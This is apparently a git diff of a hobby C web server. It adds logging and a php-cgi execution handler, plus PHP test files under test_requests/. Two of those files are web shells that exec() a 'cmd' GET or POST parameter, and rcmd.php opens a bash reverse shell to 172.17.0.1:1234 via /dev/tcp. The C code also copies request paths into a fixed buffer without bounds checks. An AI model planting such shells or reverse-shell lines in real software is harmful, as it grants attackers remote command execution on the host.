addrNum = addrNum + ( addrTempNum << (8*(3-i)) ); addrNum = addrNum + ( addrTempNum << (8*(3-i)) );
token = strtok(NULL, "."); token = strtok(NULL, ".");

View File

@@ -1,6 +1,14 @@
#include <stdio.h> #include <stdio.h>
#include <stdlib.h>
#include <time.h> #include <time.h>
#include <string.h> #include <string.h>
#include <unistd.h>
#include <wait.h>
#include "server.h"
#include "httpStruct.h"
#define BUFF_READ 1024
#define NUM_SUPPORTED_VERSIONS 2 #define NUM_SUPPORTED_VERSIONS 2
static char supportedHTTPVersions[NUM_SUPPORTED_VERSIONS][16] = { static char supportedHTTPVersions[NUM_SUPPORTED_VERSIONS][16] = {
@@ -8,17 +16,35 @@ static char supportedHTTPVersions[NUM_SUPPORTED_VERSIONS][16] = {
"HTTP/1.0" "HTTP/1.0"
}; };
/*
* This function prints logs to the screen if the web root is not absolute,
* if web root is /var/www/html then it is assumed to be running in service mode
* which means it prints logs to /var/log/seaweb/log
*/
int PrintLog(unsigned char *message) { int PrintLog(unsigned char *message) {
time_t UTCTime; time_t UTCTime;
// Setting time in EPOC // Setting time in EPOC
time(&UTCTime); time(&UTCTime);
struct tm *now = localtime(&UTCTime); struct tm *now = localtime(&UTCTime);
if (!strcmp(WEB_ROOT_DIR, "/var/www/html/")) {
FILE *fp;
fp = fopen("/var/log/seaweb/log", "a");
fprintf(fp, "[Log] %02d/%02d/%d %02d:%02d:%02d - %s\n", (now->tm_mon + 1), now->tm_mday,
(now->tm_year + 1900), now->tm_hour, now->tm_min, now->tm_sec, message);
fclose(fp);
} else {
printf("[Log] %02d/%02d/%d %02d:%02d:%02d - %s\n", (now->tm_mon + 1), now->tm_mday, printf("[Log] %02d/%02d/%d %02d:%02d:%02d - %s\n", (now->tm_mon + 1), now->tm_mday,
(now->tm_year + 1900), now->tm_hour, now->tm_min, now->tm_sec, message); (now->tm_year + 1900), now->tm_hour, now->tm_min, now->tm_sec, message);
}
return 0; return 0;
} }
/*
* This function checks to see if the requested http version
* is with 1.1 or 1.0
*/
int checkHTTPVersion(char *version) { int checkHTTPVersion(char *version) {
int supported = -1; // Default fail state int supported = -1; // Default fail state
char testVer[16]; char testVer[16];
@@ -30,3 +56,104 @@ int checkHTTPVersion(char *version) {
} }
return supported; return supported;
} }
/*
* This function executes php-cgi requests and returns
* the response
*/
char *php_cgi(char *sPath, struct HTTPRequest *r) {
int phpPipe[2];
char *buf = NULL;
size_t bufLen = 1024;
buf = malloc(bufLen);
memset(buf, 0, bufLen);
pipe(phpPipe);
pid_t pid;
int status = 0;
pid = fork();
if (pid == 0) { // Child fork
char script[500];
char *queryString = NULL;
close(phpPipe[0]);
dup2(phpPipe[1], STDOUT_FILENO);
strcpy(script, "SCRIPT_FILENAME=");
strcat(script, WEB_ROOT_DIR);
strcat(script, sPath);
putenv("GATEWAY_INTERFACE=CGI/1.1");
putenv(script);
putenv("REDIRECT_STATUS=true");
putenv("SERVER_PROTOCOL=HTTP/1.1");
putenv("REMOTE_HOST=127.0.0.1");
if (!strcmp(r->requestType, "POST")) {
putenv("REQUEST_METHOD=POST");
char conLenString[256];
sprintf(conLenString, "CONTENT_LENGTH=%zu", r->requestBodyLen);
putenv(conLenString);
putenv("CONTENT_TYPE=application/x-www-form-urlencoded");
queryString = malloc(r->requestBodyLen + 24);
if (r->requestBodyLen != 0) {
sprintf(queryString, "QUERY_STRING=%s", r->requestBody);
} else {
sprintf(queryString, "QUERY_STRING=");
}
putenv(queryString);
// Starting fork to pipe stdin into php-cgi
int phpPipe2[2];
pipe(phpPipe2);
pid_t pid2;
pid2 = fork();
if (pid2 == 0) { // Child fork
close(phpPipe2[0]);
dup2(phpPipe2[1], STDOUT_FILENO);
printf("%s", r->requestBody);
close(phpPipe2[1]);
exit(EXIT_SUCCESS);
} else if (pid < 0) { // Error forking
printDebug("Error in stdin php frok");
} else { // Parent fork
close(phpPipe2[1]);
dup2(phpPipe2[0], STDIN_FILENO);
execl("/usr/bin/php-cgi", "php-cgi", NULL);
}
} else { // GET request handlers does not require second fork
putenv("REQUEST_METHOD=GET");
if (r->requestVars != NULL) {
queryString = malloc(strlen(r->requestVars) + 24);
sprintf(queryString, "QUERY_STRING=%s", r->requestVars);
} else {
queryString = malloc(24);
sprintf(queryString, "QUERY_STRING=");
}
putenv(queryString);
execl("/usr/bin/php-cgi", "php-cgi", NULL);
}
exit(EXIT_SUCCESS);
} else if (pid < 0) { // Error forking
printDebug("Error forking php exec");
} else { // Parent fork
size_t buffCount;
close(phpPipe[1]);
do {
waitpid(pid, &status, WUNTRACED);
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
do {
buffCount = read(phpPipe[0], buf, BUFF_READ);
if (strlen(buf) == bufLen) {
bufLen *= 2;
buf = realloc(buf, bufLen);
}
} while (buffCount == 0);
}
close(phpPipe[0]);
if (status != 0) {
return NULL;
}
return buf;
}

7
test_requests/cmd.php Normal file
View File

@@ -0,0 +1,7 @@
<?php
$output=null;
$retval=null;
exec('whoami', $output, $retval);
print_r($output);
?>

7
test_requests/cmdGET.php Normal file
View File

@@ -0,0 +1,7 @@
<?php
$output=null;
$retval=null;
exec($_GET['cmd'], $output, $retval);
print_r($output);
?>

View File

@@ -0,0 +1,7 @@
<?php
$output=null;
$retval=null;
exec($_POST['cmd'], $output, $retval);
print_r($output);
?>

View File

@@ -0,0 +1,10 @@
POST / HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.81.0
Accept: */*
Referer: rbose
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
name=linuxize&email=linuxize@example.com

3
test_requests/rcmd.php Normal file
View File

@@ -0,0 +1,3 @@
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'");
?>